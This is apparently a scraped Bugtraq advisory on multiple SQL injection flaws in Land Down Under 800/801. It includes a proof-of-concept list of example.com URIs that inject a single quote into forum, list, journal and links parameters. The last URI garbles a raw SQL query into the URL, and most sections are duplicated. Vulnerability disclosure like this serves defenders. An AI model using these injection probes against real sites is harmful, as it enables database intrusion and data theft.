Land Down Under Multiple SQL Injection Vulnerabilities
BID:14618
Info
Land Down Under Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 14618 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 20 2005 12:00AM |
| Updated: | Jan 04 2007 06:27PM |
| Credit: | bl2k and SmallMouse are credited with the discovery of these vulnerabilities. |
| Vulnerable: |
Land Down Under Land Down Under 801 Land Down Under Land Down Under 800 |
| Not Vulnerable: | |
Discussion
Land Down Under Multiple SQL Injection Vulnerabilities
Land Down Under is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
Successful exploitation may allow the attacker to compromise the application, retrieve sensitive information, modify data, or exploit vulnerabilities in the underlying database implementation.
Land Down Under is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
Successful exploitation may allow the attacker to compromise the application, retrieve sensitive information, modify data, or exploit vulnerabilities in the underlying database implementation.
Exploit / POC
Land Down Under Multiple SQL Injection Vulnerabilities
No exploit is required.
The following proof-of-concept URIs are available:
http://www.example.com/ldu/forums.php?m=topics&s='
http://www.example.com/ldu/list.php?c=articles&s=title&w=asc&o='&p=1
http://www.example.com/ldu/list.php?c=articles&s=title&w='&o=1&p=1
http://www.example.com/ldu/list.php?c=articles&s='&w=asc&o=1&p=1
http://www.example.com/ldu/journal.php?m='&s=username&w=asc
http://www.example.com/ldu/journal.php?m='&p=1
http://www.example.com/ldu/journal.php?m='
http://www.example.com/ldu/forums.php?filter=forums%2Ephp%3Fc%3Dskin&x='
http://www.example.com/ldu/forums.php?m=topics&q=3&n='
http://www.example.com/ldu/list.php?c=articles&s=title&w=asc&o=1&p='
http://www.example.com/ldu/forums.php?m='&q=3&n=last
http://www.example.com/ldu/links.php?c=links&s=title&w='
http://www.example.comldu//journal.php?m='&s=username&w=SELECT * FROM $db_journals WHERE jrn_userid='$jrn_userid' AND jrn_minlevel<='".$usr['level']."' ORDER BY jrn_$s $w
No exploit is required.
The following proof-of-concept URIs are available:
http://www.example.com/ldu/forums.php?m=topics&s='
http://www.example.com/ldu/list.php?c=articles&s=title&w=asc&o='&p=1
http://www.example.com/ldu/list.php?c=articles&s=title&w='&o=1&p=1
http://www.example.com/ldu/list.php?c=articles&s='&w=asc&o=1&p=1
http://www.example.com/ldu/journal.php?m='&s=username&w=asc
http://www.example.com/ldu/journal.php?m='&p=1
http://www.example.com/ldu/journal.php?m='
http://www.example.com/ldu/forums.php?filter=forums%2Ephp%3Fc%3Dskin&x='
http://www.example.com/ldu/forums.php?m=topics&q=3&n='
http://www.example.com/ldu/list.php?c=articles&s=title&w=asc&o=1&p='
http://www.example.com/ldu/forums.php?m='&q=3&n=last
http://www.example.com/ldu/links.php?c=links&s=title&w='
http://www.example.comldu//journal.php?m='&s=username&w=SELECT * FROM $db_journals WHERE jrn_userid='$jrn_userid' AND jrn_minlevel<='".$usr['level']."' ORDER BY jrn_$s $w
Solution / Fix
Land Down Under Multiple SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].
References
Land Down Under Multiple SQL Injection Vulnerabilities
References:
References:
- Land Down Under Homepage (Land Down Under)
- Bugs Land Down Under v800 ([email protected])
- LDU <= 8.x (journal.php) SQL Injection Vulnerability (St@rExT)